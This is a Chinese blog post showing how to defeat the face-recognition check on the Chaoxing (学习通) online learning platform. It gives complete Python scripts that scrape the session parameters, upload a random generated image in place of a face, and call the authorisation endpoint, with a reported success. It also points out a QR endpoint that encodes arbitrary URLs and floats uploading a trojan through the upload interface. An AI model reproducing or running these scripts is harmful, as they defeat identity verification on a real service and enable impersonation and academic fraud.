被学习通的人脸识别恶心到了,简单的搞一下
一. Web端二维码接口分析
1. 简单试水
先用Burp简简单单的抓一下包,分析一下流量
得到人脸识别二维码接口

得到接口URL
分析接口,可以看到,这里有一个content
参数,参数值是一个http请求,立刻想到SSRF漏洞,不过应该没用,先给URL解一下编码
得到URL:
1
| https://mooc1.chaoxing.com/phone/course/qrc?content=https://mooc1-api.chaoxing.com/qr/view?uuid=<uuid>&clazzid=<clazzid>&enc=<enc>&videojobid=&chaptervideoobjectid=
|
参数结构如下
1 2 3 4 5 6
| - content - uuid - clazzid - enc - videojobid - chaptervideoobjectid
|
试试访问一下

可以得到二维码
后面两个参数不知道是啥。试试添加参数值

好像对结果没影响。
刷新一下,发现无反应,说明是根据参数值进行二维码的生成。那么就说明参数值应该是动态的。
2. 接口分析
我们现在得到了这个接口的URL,分析了它的参数组成,但是我很好奇,这个content
到底是干啥的?参数前面跟着一个QCR,难道是一个二维码生成接口?
试试。

ok,估计就是了,随便扫一下
很好,直接跳转到https://www.trtyr.top
,很好,不小心找到了一个漏洞。
那么这个接口目的就是把content
后面的URL变成一个二维码
1
| https://mooc1.chaoxing.com/phone/course/qrc?content=https://mooc1-api.chaoxing.com/qr/view?uuid=<uuid>&clazzid=<clazzid>&enc=<enc>&videojobid=&chaptervideoobjectid=
|
这是我们得到的完整URL,我们试试访问后面的那个URL

是一个人脸采集的页面,看样子是一个手机端,用手机端访问一下试试
很好,没有区别。应该是设置了什么,这里就不挨个情况试了。
那么现在的问题是那几个参数,uuid
,clazzid
和enc
,至于后面的那两个好像没用,先不整。
3. 参数处理
很好,有到了处理参数的阶段,被逆向支配的恐惧又回来了。
这几个参数和我想的不太一样,简单找找就能找到了
uuid
自己简单找找就找到了,不多说

得到uuid
根据名称感觉像是课程的ID,然后找了找,果然发现了

得到clazzid
,还是个死参数。
这个enc
好像在uuid
那个参数见到过

ok,得到enc
参数。
至此,基本上参数解决了,自己构建一个URL试试水

ok,成功。
简单写了两个代码实时获取这几个参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| import requests import io import sys sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='gb18030') # 改变标准输出的默认编码 # 改变标准输出的默认编码 url = "https://mooc1-1.chaoxing.com/mooc-ans/visit/courselistdata" headers = { "Cookie": "", "User-Agent": "", "Host": "", "Origin": "", "Referer": "https://mooc1-1.chaoxing.com/visit/interaction?s=2ee3068353faf5f3256fab8d8608a216" } params = { "courseType": "1", "courseFolderId": "0", "baseEducation": "0", "superstarClass": "", "courseFolderSize": "0" } response = requests.post(url, headers=headers, params=params) response.encoding = "UTF-8" print(response.text)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import requests import re url = "https://mooc1-1.chaoxing.com/mooc-ans/visit/stucoursemiddle?courseid=204589142&clazzid=82833219&vc=1&cpi=272247709&ismooc2=1&v=2" headers = { "User-Agent": "", "Cookie": "", "Host": "" } response = requests.get(url, headers=headers) list_ = [] for i in re.findall('value="(.*?)" id=".*?"/>', response.text): list_.append(i) uuid = list_[0] qrcEnc = list_[1]
|
二. 手机端分析
1. 人脸认证接口分析
Web端现在只是解决了二维码的生成问题,我们接下来要解决手机端的人脸识别问题。
进行人脸识别,抓一下手机包
我这里也是用Burp代理抓的IOS包,具体怎么设置自己搜去。

好了,抓到了一个包,开始分析。
里头有一个包有接口泄露

再往下看,注意到一个包,我们叫他A包

不知道是干啥的。注意到里头有个objectid
参数
再看看,找到了一个好像是授权成功的URL吗,我们称之为B包

是个POST请求,里头5个参数
- clazzId
- courseId
- uuid
- qrcEnc
- objectId
clazzId
、uuid
和qrcEnc
在Web搞出来了,courseId
等会再找找,objectId
上面也有,然后发现了一个悲伤的故事,objectId
值和A包的不一样……。
那就再找找。然后在这个包发现了objectId
,我们叫这个包C包。

这里有一个objectId
,而且C包的objectId
和B包的一样,往下看

是一个上传了一个图片,那么这个应该是上传人脸图片的接口,你可以用这个接口上传自己的图片,经测试可以得到正确的objectId
,但是吧……,感觉差点意思。
好,现在objectId
无法硬搞,先把courseId
处理了。

ok,得到courseId
,这参数和clazzid
一样找。上面的代码里已经有了
现在除了objectId参数都OK了,现在希望只能指望于这个人脸识别是本地认证了
试试,经过测试,发现不是本地验证,心态有点崩……
2. objectId参数解决
我们完整的捋一下手机验证的过程,虽然过程包挺多,但是有用的只有两个
1 2
| https://pan-yz.chaoxing.com/upload?uploadtype=face https://mooc1-api.chaoxing.com/mooc-ans/qr/updateqrstatus
|
第一个URL是一个上传接口,用来上传图片的。

这里会返回一堆参数,其中就有objectId
参数
第二个包是一个授权,使用前面的得到的参数进行POST请求一下就行。

所以重点就是objectId
参数。
我们来看包

分两个部分,请求头和POST请求,经过不断的测试得到,_token
和puid
是不变的,这个file
参数是以时间戳为文件名的JPG文件。然后就是下面图片内容,影响objectId
生成的只有图片内容。
好,现在分析一下objectId
的生成,有两种可能
- 根据图片内容,通过算法加密,得到
objectId
- 图片仅作校验使用,不对
objectId
的生成做任何影响,objectId
随机生成
由于逆向比较菜,所以第一种情况我试了一个点就放弃了,然后就是第二种。
第二种我最开始的想法是利用这个上传接口往里传人脸图片。我自己先简单试了一下,他这个人脸识别对个图片也能过,那么传人脸图片成功的概率应该不小。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| import random import string import time from requests_toolbelt import MultipartEncoder import requests url = "https://pan-yz.chaoxing.com/upload?uploadtype=face" headers = { "Cookie": "你的Cookie", "User-Agent": "你的UA", "Host": "网页Host", } rand_str = ''.join(random.sample(string.ascii_letters + string.digits, 16)) # 得到Boundary+1B7201D25A872B33后16位
file = open('你的人脸图片.jpg', 'rb') body = MultipartEncoder( fields={ # 这里根据需要进行参数格式设置 '_token': '你的_token', 'puid': '你的puid', 'file': (f"{str(int(time.time() * 1000))}.jpg", file, 'image/jpg'), }, boundary=f'Boundary+{rand_str}') contentype = body.content_type headers['content-type'] = contentype response = requests.post(url, headers=headers, data=body) objectId = response.json()["objectId"] print(objectId)
|
这里恶心到我的是它的POST请求方式,从来没写过multipart/form-data
的脚本,后来感谢群里大佬的帮助。这里是他的文章
然后确实可以得到objectId
了,但是他不变啊,只能用一次,之后我又换了好几张图片试,都不变,到这里就开始蒙了。
后来找我的网安老师进行一顿探讨,一开始老师以为我是要绕过这个人脸识别,我俩不在一条线上聊了半天,后来又针对我说的这个方法探讨了一会儿,但是不了了之了。
就当我一筹莫展的时候,我突然发现,对啊,绕过啊!我一个搞渗透的在这儿纠结逆向干啥……,他不是能上传文件嘛,我直接上传木马试试,当然这只是想想哈,胆子小,没敢搞。
然后随便试试,突然发现,我修改图片内容之后他也会返回objectId
,然后又试试了试,发现真是,这时还没发现这是个漏洞,我打算对图片进行随机修改来实现随机objectId
,脚本写一半,突然想到,既然他随便改图片都能得到objectId
,那是不是说这个接口,随便传个图片就能返回objectId
简单写了个脚本试了一下。
先准备一个随机图片生成的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import numpy as np import cv2 def random_picture(): d = 400 img = np.ones((d, d, 3), np.uint8) * 255 for i in range(0, 100): center_x = np.random.randint(0, high=d) center_y = np.random.randint(0, high=d) radius = np.random.randint(5, high=d / 5) color = np.random.randint(0, high=256, size=(3,)).tolist() cv2.circle(img, (center_x, center_y), radius, color, -1) cv2.imwrite("1.jpg", img) # 保存图
|
这样随机生成一个1.jpg
然后改一下人脸识别的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| import random import string import time from 随机图片 import random_picture from requests_toolbelt import MultipartEncoder import requests url = "https://pan-yz.chaoxing.com/upload?uploadtype=face" headers = { "Cookie": "", "User-Agent": "", "Host": "", } rand_str = ''.join(random.sample(string.ascii_letters + string.digits, 16)) # 得到Boundary+1B7201D25A872B33后16位 random_picture() file = open('1.jpg', 'rb') body = MultipartEncoder( fields={ # 这里根据需要进行参数格式设置 '_token': '', 'puid': '', 'file': (f"{str(int(time.time() * 1000))}.jpg", file, 'image/jpg'), }, boundary=f'Boundary+{rand_str}') contentype = body.content_type headers['content-type'] = contentype response = requests.post(url, headers=headers, data=body) objectId = response.json()["objectId"] print(objectId)
|
这样objectId
参数就解决了
三. 授权
先把授权的代码补完
上面得到了objectId
,然后就是根据参数授权了,这里就简单了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| import requests from uuid_qrcEnc_ import uuid, qrcEnc from 人脸图片解析 import objectId url = "https://mooc1-api.chaoxing.com/mooc-ans/qr/updateqrstatus" params = { "clazzId": "", "courseId": "", "uuid": uuid, "qrcEnc": qrcEnc, "objectId": objectId } headers = { "Origin": "https://mooc1-api.chaoxing.com", "Cookie": "", "Referer": "", "User-Agent": "", "Host": "" } response = requests.post(url, headers=headers, params=params) print(response.text)
|
结果演示

第一次过了

第二次也过了,完成!
这破玩意整了半天,还是菜啊……